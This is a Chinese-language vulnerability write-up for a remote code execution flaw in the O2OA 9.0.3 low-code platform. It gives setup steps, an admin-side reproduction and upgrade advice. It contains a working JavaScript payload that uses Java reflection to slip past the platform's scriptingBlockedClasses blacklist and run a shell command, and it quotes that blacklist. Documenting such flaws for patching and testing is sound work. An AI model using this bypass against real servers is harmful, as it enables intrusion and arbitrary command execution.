Skip to content

O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行

漏洞描述

O2OA(翱途)低代码开发平台是一个开源企业协同办公定制平台,提供完整的前后端 API 和模块定制能力。

O2OA 9.0.3 版本存在远程代码执行漏洞,平台使用 scriptingBlockedClasses 属性值列表作为黑名单过滤器,攻击者可以通过 Java 反射绕过黑名单限制。

参考链接:

披露时间

2024-06-04

漏洞影响

O2OA 9.0.3

环境搭建

官网下载 一个 9.0.3 版本,本地搭建测试:

unzip o2server-9.0.3-linux-x64.zip 
cd o2server
./start_linux.sh

按照提示进行安装,选择内置 h2 数据库:

漏洞复现

xadmin 身份登录平台,点击 Service Platform 进入服务平台:

点击 Create Agent 创建一个代理:

填写 NameAliasTime task cron expression 等必填项,写入 payload

var a = mainOutput(); 
function mainOutput() {
    var clazz = Java.type("java.lang.Class");
    var rt = clazz.forName("java.lang.Runtime");
    var stringClazz = Java.type("java.lang.String");

    var getRuntimeMethod = rt.getMethod("getRuntime");
    var execMethod = rt.getMethod("exec",stringClazz);
    var runtimeObject = getRuntimeMethod.invoke(rt);
    execMethod.invoke(runtimeObject,"touch /tmp/awesome_poc");
};

点击保存。关闭当前窗口,重新进入点击 Run 执行:

命令成功执行:

漏洞产生的原因是 9.0.3 版本 o2server/configSample/general.json 文件中对类做了黑名单限制,但是攻击者可以通过 Java 反射绕过黑名单中的类:

"scriptingBlockedClasses": [
	"java.util.zip.ZipOutputStream",
	"java.io.RandomAccessFile",
	"java.net.Socket",
	"java.util.zip.ZipInputStream",
	"java.nio.file.Files",
	"java.lang.System",
	"java.net.URL",
	"java.lang.Runtime",
	"java.io.FileWriter",
	"java.io.FileOutputStream",
	"javax.script.ScriptEngineManager",
	"java.io.File",
	"java.net.ServerSocket",
	"java.nio.file.Paths",
	"javax.script.ScriptEngine",
	"java.util.zip.ZipFile",
	"java.lang.ProcessBuilder",
	"java.net.URI",
	"java.nio.file.Path"
],

漏洞修复

建议升级 O2OA 最新版本: https://www.o2oa.net/download.html